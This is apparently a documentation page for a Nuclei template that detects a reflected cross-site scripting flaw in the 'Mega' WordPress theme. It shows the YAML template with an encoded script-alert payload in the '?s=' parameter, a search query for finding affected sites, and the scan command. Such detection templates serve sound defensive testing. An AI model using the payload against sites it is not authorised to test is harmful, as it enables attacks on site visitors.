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Mega Wordpress Theme - Cross site scripting

ID: wp-mega-theme

Severity: medium

Author: r3Y3r53

Tags: wp,wp-theme,wordpress,xss,mega

Description

Section titled “Description”

WordPress theme with a ‘Mega-Theme’ design is vulnerable to a reflected XSS attack through the ‘?s=’ parameter.

YAML Source

Section titled “YAML Source”
id: wp-mega-theme


info:
  name: Mega Wordpress Theme - Cross site scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress theme with a 'Mega-Theme' design is vulnerable to a reflected XSS attack through the '?s=' parameter.
  reference:
    - https://cxsecurity.com/issue/WLB-2021120027
    - https://www.zhaket.com/web/megawp-wordpress-theme
  metadata:
    verified: true
    max-request: 1
    google-query: Megawp-Theme
  tags: wp,wp-theme,wordpress,xss,mega


http:
  - method: GET
    path:
      - "{{BaseURL}}/?s=%22%3E%3Cscript%3Ealert(`document.domain`)%3C/script%3E"


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "script>alert(`document.domain`)</script") && contains(body, "mega-theme")'
        condition: and
# digest: 4b0a00483046022100c4c690e3340c089cd675d04dccd4b98b2281c66005e3ac2473749277f437cc9b0221009a82192dfb87746eed63ff2430fca649b293c7bdf5cb1ca0bcc8510dcb123d76:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-mega-theme.yaml"

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